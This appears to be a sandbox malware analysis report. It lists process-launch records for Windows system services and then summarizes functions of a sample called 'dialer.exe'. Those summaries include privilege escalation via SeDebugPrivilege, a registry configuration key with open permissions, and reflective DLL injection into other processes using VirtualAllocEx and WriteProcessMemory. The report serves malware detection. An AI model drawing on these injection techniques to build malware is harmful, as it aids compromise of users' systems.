Show Windows behavior

Target ID:	93
Start time:	13:59:59
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	94
Start time:	13:59:59
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	95
Start time:	13:59:59
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	96
Start time:	13:59:59
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	97
Start time:	14:00:00
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	98
Start time:	14:00:01
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	99
Start time:	14:00:01
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	100
Start time:	14:00:01
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	101
Start time:	14:00:01
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	102
Start time:	14:00:02
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	103
Start time:	14:00:02
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	104
Start time:	14:00:02
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	105
Start time:	14:00:03
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	106
Start time:	14:00:03
Start date:	14/03/2024
Path:	C:\Windows\System32\spoolsv.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\spoolsv.exe
Imagebase:	0x7ff719eb0000
File size:	842'752 bytes
MD5 hash:	0D4B1E3E4488E9BDC035F23E1F4FE22F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	107
Start time:	14:00:04
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	108
Start time:	14:00:06
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	109
Start time:	14:00:06
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	110
Start time:	14:00:07
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	111
Start time:	14:00:07
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	112
Start time:	14:00:08
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	113
Start time:	14:00:13
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	114
Start time:	14:00:14
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s SstpSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	115
Start time:	14:00:14
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	116
Start time:	14:00:15
Start date:	14/03/2024
Path:	C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
Imagebase:	0x7ff7402f0000
File size:	12'859'472 bytes
MD5 hash:	75F42872C0302D36A1E3BB5C7928FC02
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	117
Start time:	14:00:25
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	118
Start time:	14:00:26
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetSvcs -p -s iphlpsvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	119
Start time:	14:00:27
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	120
Start time:	14:00:27
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	121
Start time:	14:00:28
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s NcdAutoSetup
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	122
Start time:	14:00:28
Start date:	14/03/2024
Path:	C:\Windows\System32\sihost.exe
Wow64 process (32bit):	false
Commandline:	sihost.exe
Imagebase:	0x7ff7cace0000
File size:	111'616 bytes
MD5 hash:	A21E7719D73D0322E2E7D61802CB8F80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	123
Start time:	14:00:30
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	124
Start time:	14:00:31
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s WpnUserService
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	125
Start time:	14:00:33
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	126
Start time:	14:00:33
Start date:	14/03/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff63b2c0000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	127
Start time:	14:00:33
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	128
Start time:	14:00:34
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	129
Start time:	14:00:34
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TabletInputService
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	130
Start time:	14:00:35
Start date:	14/03/2024
Path:	C:\Windows\System32\ctfmon.exe
Wow64 process (32bit):	false
Commandline:	ctfmon.exe
Imagebase:	0x7ff63dcc0000
File size:	11'264 bytes
MD5 hash:	B625C18E177D5BEB5A6F6432CCF46FB3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	131
Start time:	14:00:36
Start date:	14/03/2024
Path:	C:\Windows\System32\dasHost.exe
Wow64 process (32bit):	false
Commandline:	dashost.exe {56d287c9-3fb8-41cd-a9e100d94de470c6}
Imagebase:	0x7ff6003f0000
File size:	98'816 bytes
MD5 hash:	2857A196985FC58A74C337B5E95B2174
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	132
Start time:	14:00:37
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	133
Start time:	14:00:38
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	134
Start time:	14:00:39
Start date:	14/03/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff71ebd0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	135
Start time:	14:00:53
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	136
Start time:	14:00:54
Start date:	14/03/2024
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff66aaa0000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	137
Start time:	14:00:56
Start date:	14/03/2024
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff66aaa0000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	138
Start time:	14:01:17
Start date:	14/03/2024
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff66aaa0000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	139
Start time:	14:01:25
Start date:	14/03/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
Imagebase:	0x7ff6e9610000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	46.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	67%
Total number of Nodes:	227
Total number of Limit Nodes:	24

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001F2C: StrCpyW.SHLWAPI ref: 0000000140001F5D
Part of subcall function 0000000140001F2C: StrCatW.SHLWAPI ref: 0000000140001F6B
Part of subcall function 0000000140001F2C: GetModuleHandleW.KERNEL32 ref: 0000000140001F74
Part of subcall function 0000000140001F2C: GetCurrentProcess.KERNEL32 ref: 0000000140001F94
Part of subcall function 0000000140001F2C: K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
Part of subcall function 0000000140001F2C: CreateFileW.KERNELBASE ref: 0000000140001FD8
Part of subcall function 0000000140001F2C: CreateFileMappingW.KERNELBASE ref: 0000000140002002
Part of subcall function 0000000140001F2C: MapViewOfFile.KERNELBASE ref: 0000000140002025
Part of subcall function 0000000140001F2C: lstrcmpi.KERNEL32 ref: 000000014000207B
Part of subcall function 0000000140001F2C: FindCloseChangeNotification.KERNELBASE ref: 00000001400020E7
Part of subcall function 0000000140001F2C: CloseHandle.KERNEL32 ref: 00000001400020F0
Part of subcall function 0000000140001F2C: FreeLibrary.KERNEL32 ref: 00000001400020F9

Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020AE
Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020DE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
GetLastError.KERNEL32 ref: 0000000140002312
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
FindResourceA.KERNEL32 ref: 000000014000232F
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
LocalFree.KERNEL32 ref: 0000000140002408
RegCreateKeyExW.KERNELBASE ref: 000000014000243E
GetCurrentProcessId.KERNEL32 ref: 0000000140002448
RegSetValueExW.KERNELBASE ref: 000000014000246F
RegCloseKey.KERNELBASE ref: 0000000140002479
RegCloseKey.ADVAPI32 ref: 0000000140002483
CreateThread.KERNELBASE ref: 00000001400024A4
GetProcessHeap.KERNEL32 ref: 00000001400024AA
HeapAlloc.KERNEL32 ref: 00000001400024B9
CreateThread.KERNELBASE ref: 00000001400024E8
CreateThread.KERNELBASE ref: 0000000140002509
SleepEx.KERNEL32 ref: 0000000140002511

Strings

D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00000001400023DE
SOFTWARE\dialerconfig, xrefs: 0000000140002399
ntdll.dll, xrefs: 0000000140002277
kernel32.dll, xrefs: 0000000140002283
SeDebugPrivilege, xrefs: 00000001400022C9
svc64, xrefs: 0000000140002452
DLL, xrefs: 0000000140002321
pid, xrefs: 000000014000241B

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentResource$FileFindSecurityThread$ChangeDescriptorFreeHandleHeapModuleNotificationOpenProtectTokenValueVirtual$AdjustAllocConvertErrorInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 1970497257-1130149537
Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: FindCloseChangeNotification.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

OpenProcess.KERNEL32 ref: 000000014000112C
OpenProcess.KERNEL32 ref: 000000014000114B
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
PathFindFileNameW.SHLWAPI ref: 000000014000117E
lstrlenW.KERNEL32 ref: 000000014000118A
StrCpyW.SHLWAPI ref: 00000001400011A1
CloseHandle.KERNEL32 ref: 00000001400011AD
StrCmpIW.SHLWAPI ref: 00000001400011E2
NtQueryInformationProcess.NTDLL ref: 0000000140001216
OpenProcessToken.ADVAPI32 ref: 0000000140001240
GetTokenInformation.KERNELBASE ref: 000000014000126C
GetLastError.KERNEL32 ref: 0000000140001276
LocalAlloc.KERNEL32 ref: 0000000140001289
GetTokenInformation.KERNELBASE ref: 00000001400012B5
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400012C2
GetSidSubAuthority.ADVAPI32 ref: 00000001400012D1
LocalFree.KERNEL32 ref: 00000001400012E9
CloseHandle.KERNEL32 ref: 00000001400012FD
StrStrA.SHLWAPI ref: 00000001400013A7
VirtualAllocEx.KERNELBASE ref: 000000014000140E
WriteProcessMemory.KERNELBASE ref: 0000000140001431
WaitForSingleObject.KERNEL32 ref: 000000014000147D
GetExitCodeThread.KERNEL32 ref: 0000000140001493
FindCloseChangeNotification.KERNELBASE ref: 00000001400014AB
CloseHandle.KERNEL32 ref: 00000001400014B4

Strings

dialer.exe, xrefs: 00000001400011CC
@, xrefs: 0000000140001401
ReflectiveDllMain, xrefs: 000000014000139D
MSBuild.exe, xrefs: 00000001400011B8

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: Process$Close$Open$FindHandleInformationToken$AllocAuthorityChangeFileLocalNameNotification$CodeCountErrorExitFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
API String ID: 2998269048-3753927220
Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
